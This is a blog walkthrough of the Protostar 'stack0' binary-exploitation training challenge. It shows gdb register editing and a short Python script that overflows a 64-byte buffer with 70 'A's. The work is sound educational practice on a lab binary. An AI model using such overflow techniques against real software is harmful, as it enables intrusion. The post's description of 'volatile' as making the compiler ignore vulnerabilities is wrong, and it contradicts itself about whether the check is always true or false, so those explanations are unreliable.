Exploit Exercise is an awesome platform to learn about binary exploitation. Even one of my favorite YouTubers “LiveOverflow” has a really good series of the Exploit Exercise Protostar challenges (Check out his videos!) So I also wanted to share my journey of doing Protostar challenges in my blog. I plan to write these blogs as I solve each challenge, so there may be a better or different way to solve the same chals. There shouldn’t be a right or wrong answer when you are doing a binary exploitation. It’s all about creativity :D
What is Protostar?
In order to play the Protostar, you need to download the ISO file here and install it in your computer using either VMware or VirtualBox.
The goal of this challenge is to overflow a buffer to print “you have changed the ‘modified’ variable” instead of “Try again?.”
Things to note
volatile: This just tells the compiler that ignore any vulnerabilities in the code and force it to compile the code as it is.
modified = 0: So the “modified” variable is hardcoded to 0. So when it gets checked for not equal to 0 later—
if (modified != 0)— it will be ALWAYS FALSE and follow the “else” statement.
gets(buffer);: But here is the vulnerable func introduced. What it basically does is that it reads a line from stdin but it doesn’t check for buffer overrun → which can be vulnerable to BOF type of attacks.
char buffer;: This limits our buffer length as 64 bytes. → which we can enter more than 64 bytes to cause a BOF.
GDB (GNU Project Debugger)
Let’s use gdb to start disassembling the stack0 binary.
$ gdb -q stack0 # -q (quiet mode)
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) set disassembly-flavor intel # Intel Syntax (Who uses AT&T?)
(gdb) disas main # Disassembling main func
But since the “modified” variable is set to 0, the if statement will be always TRUE and redirect us to the fail statement all the time. So in order to print the winning statement, when it reaches to the
test eax,eax instruction, those two EAX should be different value. For the proof-of-concept, we can update the EAX value right before the
test instruction in gdb.
(gdb) break * 0x08048411 # Addr right above test
(gdb) run # Running the program
AAAA Breakpoint 1, main (argc=1, argv=0xbffff854) at stack0/stack0.c:13
13 in stack0/stack0.c(gdb) x/2i $eip # Querying next 2 instructions
0x8048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x8048415 <main+33>: test eax,eax
(gdb) si # Single step instruction
0x08048415 13 in stack0/stack0.c
(gdb) info registers # Checking current registers
eax 0x0 0 <-- EAX is 0 (as modified = 0;)
ecx 0xbffff75c -1073744036(gdb) set $eax = 0x1 # Changing EAX to 0x1
you have changed the 'modified' variable <-- Win!Program exited with code 051.
Okay it worked, but it wasn’t a BOF way to get to the winning
printf statement. Let’s get into the BOF way now.
Let’s create a simple python script (exp.py) to print out our EVIL characters. As we know that the assigned buffer was 64 bytes so if we enter more than them, it will overwrite some of the memory and get us the winning statement.
#!/usr/bin/pythonpadding = 'A' * 70print padding
And put the output into a file (exploit):
python exp.py > exploit
With that, we can run the program providing the evil characters like this:
./stack0 < /tmp/stack0/exploit
Nice. the 70 characters were enough to overwrite the EAX value and we got the winning statement. Let’s examine this further with gdb to understand what is going on.
So it was really simple exploit hence only thing we needed to do was to just enter enough buffers to overflow the memory and make the program do unintended an action.
Thanks for reading!
- Stack 1 — Stack-based BOF: Basic 1